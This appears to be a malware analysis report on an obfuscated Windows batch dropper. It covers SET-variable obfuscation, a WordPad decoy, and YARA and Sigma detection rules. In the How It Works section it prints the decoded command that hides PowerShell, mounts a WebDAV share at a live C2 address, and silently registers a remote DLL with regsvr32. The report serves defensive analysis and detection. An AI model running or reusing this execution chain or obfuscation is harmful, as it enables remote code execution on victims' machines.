unclassified-js-webdav-dropper: 4f20ce5f — random-noise SET batch, WebDAV C2 45.9.74.36:8888, payload 1476539521452.dll

Executive Summary

Pure batch dropper using random-noise SET variable-expansion obfuscation to hide a net use + regsvr32 /s WebDAV execution chain against 45.9.74.36:8888. Decoy: color f0 && start wordpad. PowerShell hidden wrapper present. Forty-seventh confirmed sibling in the unclassified-js-webdav-dropper family. ^[sample 4f20ce5f/strings.txt]

What It Is

• Filename: 28242154161725019266.bat ^[sample 4f20ce5f/metadata.json]
• Size: 3,194 bytes ^[sample 4f20ce5f/metadata.json]
• Type: ASCII text with CRLF line terminators (batch script) ^[sample 4f20ce5f/file.txt]
• Family: unclassified-js-webdav-dropper — random-noise SET obfuscation dialect (same as 7015b169)

How It Works

1. Obfuscation layer: 36 SET assignments on a single &&-chained line. Variable names are fully random lowercase noise strings (15–35 chars, e.g. gcptdperctln, aczmjozjhrciiwdkg). Each variable holds a single ASCII character. ^[sample 4f20ce5f/strings.txt:2]
2. Decoding: The payload line reassembles commands via %VAR% batch expansion. No goto label — noise lines before and after the payload execute as no-ops. ^[sample 4f20ce5f/strings.txt:1]
3. Decoded execution chain:
   • color f0 && start wordpad — console color change + WordPad decoy ^[sample 4f20ce5f/strings.txt:3]
   • start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1476539521452.dll — PowerShell hidden wrapper mounts WebDAV share and silently registers remote DLL ^[sample 4f20ce5f/strings.txt:4]
   • exit — terminates batch ^[sample 4f20ce5f/strings.txt:5]
4. No persistence, no sandbox gate, no anti-analysis. One-shot execution. Static-only (CAPE skipped — not a binary). ^[sample 4f20ce5f/dynamic-analysis.md]

C2 Infrastructure

Interesting Tidbits

• Minimal footprint: Only 8 lines total; 1 line of 36 SET assignments, 2 payload lines, 3 noise lines, 1 empty line. One of the smallest batch siblings observed. ^[sample 4f20ce5f/exiftool.json]
• Same C2 IP as 22 prior siblings: 45.9.74.36:8888 has been the dominant IP for this family since ffd5d894 (2nd sibling). ^[entities/unclassified-js-webdav-dropper.md]
• No polyglot layer: Unlike da58243c and 6f1d7c74, this is pure batch — no JScript self-replication or WScript shell invocation. ^[entities/unclassified-js-webdav-dropper.md]
• PowerShell wrapper present: Unlike the 36-entry noise-key JScript variants (4cb05ef0, fa7e181d, etc.) which call regsvr32 directly, this batch variant wraps the net use + regsvr32 chain inside powershell.exe -windowstyle hidden, adding one more proxy-execution layer. ^[sample 4f20ce5f/strings.txt:4]

Deployable Signatures

YARA rule

rule WebDAV_Batch_Dropper_RandomNoise_SET {
    meta:
        description = "Batch WebDAV dropper with random-noise SET variable obfuscation"
        author = "PacketPursuit"
        date = "2026-07-08"
        reference = "raw/analyses/4f20ce5f07596bc3fd4b741aa8544764722a71e7b198af08108f0f319f947b53"
    strings:
        $set_chain = /set [a-z]{15,35}=[a-z0-9]\&\&set [a-z]{15,35}=[a-z0-9]/
        $net_use = "net use" nocase
        $dav = "DavWWWRoot" nocase
        $regsvr = "regsvr32" nocase
        $ps_hidden = "-windowstyle hidden" nocase
    condition:
        filesize < 10KB and
        #set_chain >= 5 and
        $net_use and
        $dav and
        $regsvr and
        $ps_hidden
}

Sigma rule

title: Batch WebDAV Dropper Execution
status: experimental
description: Detects batch scripts using SET variable expansion to obfuscate net use + regsvr32 against a WebDAV UNC path
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'net use'
            - 'DavWWWRoot'
            - 'regsvr32'
        CommandLine|contains:
            - '@8888'
            - '\\*@*\DavWWWRoot'
    condition: selection
falsepositives:
    - Unlikely in enterprise environments
level: high

IOC list

Behavioral fingerprint

This script opens with 15–35 character random lowercase noise strings assigned to single-character values via SET, chained with &&. It then expands those variables into a single line that invokes powershell.exe -windowstyle hidden to run net use against a host@port\DavWWWRoot UNC path, followed by regsvr32 /s to silently register a remote DLL. A color f0 && start wordpad decoy precedes the payload. No persistence, no sandbox gate, no JScript polyglot layer.

Detection Signatures (ATT&CK)

References

• Artifact ID: eaf93002-cae6-4e8b-8850-bbd831016a1c ^[sample 4f20ce5f/metadata.json]
• Family entity: unclassified-js-webdav-dropper
• Technique: batch-powershell-variable-expansion-obfuscation
• Technique: webdav-regsvr32-dll-sideloading

Provenance

Analysis derived from strings.txt, metadata.json, file.txt, exiftool.json, and dynamic-analysis.md in raw/analyses/4f20ce5f07596bc3fd4b741aa8544764722a71e7b198af08108f0f319f947b53/. capa and floss skipped (not a binary). radare2 returned zero-bit header (not a PE). Decoding performed manually via batch %VAR% expansion. No CAPE detonation (script, not binary).